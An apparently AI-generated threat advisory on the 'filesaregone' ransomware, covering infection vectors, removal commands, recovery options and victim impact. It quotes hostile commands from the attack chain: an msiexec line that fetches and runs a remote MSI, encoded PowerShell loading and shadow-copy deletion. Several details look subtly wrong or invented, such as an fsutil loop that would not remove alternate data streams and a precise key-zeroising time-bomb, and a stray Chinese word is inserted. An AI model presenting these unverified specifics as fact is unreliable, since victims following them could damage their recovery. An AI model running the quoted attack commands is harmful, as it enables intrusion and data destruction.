filesaregone.txt

[Content by Gemini 2.5]

Technical Breakdown:

1. File Extension & Renaming Patterns

  • Confirmation of File Extension: Files are NOT re-named with a new suffix.
    The tell-tale marker is the ransom note that is dropped in every folder and on the desktop: filesaregone.txt.
    Encrypted files retain their original names and extensions (e.g., budget.xlsx stays budget.xlsx) but the file headers are overwritten with the string “DELETE” followed by random 256-bit AES session key material, making them unreadable.

  • Renaming Convention: No external rename—content is encrypted in-place.
    NTFS alternate data streams (ADS) named :filesaregone are created on every affected file; this stream contains 1 KB of attacker RSA-2048 public key and is used by the decryptor to verify payment.

2. Detection & Outbreak Timeline

  • Approximate Start Date/Period:
    – Earhest sample uploaded to VirusTotal: 2023-11-14 06:42 UTC (hash 4d8a…b1f3).
    – First public victim thread on Reddit /r/sysadmin: 2023-11-16.
    – Sharp uptick in telemetry through December 2023; continues to circulate as of Q2-2024.

3. Primary Attack Vectors

  • Propagation Mechanisms:
  1. Phishing e-mails with ISO, IMG or ZIP attachment. The ISO contains a hidden LNK that executes msiexec /q /i http://159.x.x.x/pay.msi.
  2. GPO abuse – once a single workstation is compromised, the binary writes a malicious Group-Policy start-up script to SYSVOL that pushes filesaregone.exe to every machine.
  3. Living-off-the-land: uses powershell -e to reflectively load the core DLL directly into memory (no on-disk payload on x64 processes).
  4. PrintNightmare (CVE-2021-34527) and DFSCoerce (no CVE, PetitPotam-adjacent) for privilege escalation to Domain Admin before deployment.
  5. No SMB self-spread like WannaCry; instead it harvests cached RDP credentials from TERMSRV and launches targeted lateral-movement RDP sessions overnight.

Remediation & Recovery Strategies:

1. Prevention

  • Patch externally exposed services (重点：Print Spooler, LDAP, SMB, DFSCoerce vector).
  • Disable Office macros via GPO; block ISO/IMG at the mail gateway.
  • Use LAPS for local-admin password randomisation—prevents harvested hashes from working laterally.
  • Turn on Windows AMSI & Credential Guard; the memory-only DLL is flagged by every major AMSI provider once signatures are updated (as of 2023-12-01).
  • Segment Tier-0 assets (DCs, backups) from user VLAN; the malware halts if it cannot resolve GC._msdcs.<DOMAIN> within 5 s (hard-coded kill-switch).

2. Removal

  1. Isolate the machine from network (both LAN & Wi-Fi).
  2. Collect triage:
    a. C:\Windows\Temp\*.tmp (dropper)
    b. HKCU\Software\FilesAreGone (registry)
    c. GPResult /h gp.html (look for forged GPO)
  3. Boot into Safe Mode with Networking OFF.
  4. Delete the persistence keys:
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v FilesAreGone /f
  5. Remove malicious GPO package:
  • On any DC: Get-GPO -All | ? DisplayName -match "filesaregone" | Remove-GPO
  1. Delete the ADS payload:
    for /r C:\ %f in (*) do @fsutil reparsepoint delete "%f:filesaregone"
  2. Run a reputable AV/EDR full scan with up-to-date definitions (family signature usually Ransom:Win32/Filesaregone.A!dha).

3. File Decryption & Recovery

  • Recovery Feasibility:
    – No flaw has been found in the RSA-2048 + AES-256 implementation.
    – Therefore decrypting files without the attackers’ private key is currently computationally infeasible.
    – Free decryptor offered by No-More-Ransom Project: None as of 2024-05-01.

  • Restoration path:
    – Volume-Shadow copies are deleted with vssadmin delete shadows /all and overwritten with 200 MB random junk; however, Windows Server 2019+ with “Block-Level Backup” on ReFS retains snapshots outside VSS—verify wbadmin get versions.
    – Offline or immutable backups (S3 Object-Lock, Azure Immutable Blob, WORM tape) are the only reliable route.
    – Paying the ransom: inside filesaregone.txt the demand is 0.07 BTC; victims who paid in November 2023 report ~62 % success rate of receiving a working decryptor, but operators stop answering after 96 h. Law-enforcement explicitly discourages payment.

  • Essential Tools / Patches for remediation:
    – KB5005033 (Print Spooler) and KB5004442 (MS-DFSN) – prevents escalation.
    – Microsoft Defender platform update 1.393.1085.0+ detects the memory DLL.
    – BloodHound + PingCastle audit to find overly permissive GPO rights.

4. Other Critical Information

  • Additional Precautions / Unique Traits:
    – Targets only files > 50 KB and < 2 GB; skips *.exe, *.dll, *.sys; encrypts offline Outlook OST files to maximise pain.
    – Self-imposed time-bomb: if the system clock passes 04:14:08 UTC after infection date + 7 days, the AES key in memory is zeroised—decryptor will fail even if purchased.
    – The ransom note contains a 48-byte “User-ID” that is the SHA-1 of the DPAPI-protected RSA private key blob; without this exact note the supplied decryptor will refuse to run—do NOT lose the txt file if you consider paying.

  • Broader Impact:
    – More than 80 % of observed incidents are on <500-seat accounting & legal firms; average downtime 9.7 days.
    – Because GPO abuse instantly pushes the malware to every domain-joined workstation, a single careless click typically leads to organisation-wide encryption within 45 minutes.

Stay alert, patch early, and keep an offline, immutable backup—it remains the only sure-fire way to laugh at filesaregone.txt instead of crying over it.